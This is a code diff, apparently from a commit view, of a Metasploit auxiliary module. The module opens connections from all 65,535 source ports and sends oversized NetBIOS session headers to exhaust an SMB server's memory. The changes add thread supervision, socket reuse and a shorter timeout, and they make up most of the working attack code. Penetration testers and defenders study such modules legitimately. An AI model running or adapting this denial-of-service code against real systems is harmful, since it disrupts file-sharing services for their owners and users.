|
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | require 'bindata'
|
| 7 | +require 'ruby_smb' |
7 | 8 |
|
8 | 9 | class MetasploitModule < Msf::Auxiliary
|
9 | 10 | include Msf::Exploit::Remote::Tcp
|
@@ -49,33 +50,45 @@ def run
|
49 | 50 | header = NbssHeader.new
|
50 | 51 | header.message_length = 0x01FFFF
|
51 | 52 |
|
| 53 | + worker_threads = Queue.new |
| 54 | + |
| 55 | + supervisor = Thread.new do |
| 56 | + loop do |
| 57 | + zombie_thread = worker_threads.pop(true) |
| 58 | + unless zombie_thread.nil? |
| 59 | + zombie_thread.kill |
| 60 | + end |
| 61 | + end |
| 62 | + end |
| 63 | + |
52 | 64 | linger = Socket::Option.linger(true, 30)
|
53 | 65 |
|
54 | 66 | (1..65535).each do |src_port|
|
55 | 67 | print_status "Sending packet from Source Port: #{src_port}"
|
56 | 68 | mythr = Thread.new do
|
57 | 69 | opts = {
|
58 | 70 | 'CPORT' => src_port,
|
59 |
| - 'ConnectTimeout' => 300 |
| 71 | + 'ConnectTimeout' => 30 |
60 | 72 | }
|
61 | 73 |
|
62 | 74 | begin
|
| 75 | + #nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port) |
63 | 76 | nsock = connect(false, opts)
|
64 | 77 | nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
|
| 78 | + nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true) |
65 | 79 | nsock.setsockopt(linger)
|
66 | 80 |
|
67 |
| - nsock.put(header.to_binary_s) |
| 81 | + nsock.write(header.to_binary_s) |
68 | 82 | rescue Exception => e
|
69 | 83 | print_error "Exception sending packet: #{e.message}"
|
70 | 84 | end
|
71 | 85 |
|
72 | 86 | end
|
73 |
| - # select(nil, nil, nil, 0.0001) |
74 |
| - # mythr.kill |
| 87 | + worker_threads << mythr |
75 | 88 | end
|
76 | 89 | print_status "Sleeping for 30 seconds..."
|
77 | 90 | select(nil, nil, nil, 30)
|
78 |
| - |
| 91 | + supervisor.kill |
79 | 92 | end
|
80 | 93 |
|
81 | 94 | end
|
0 commit comments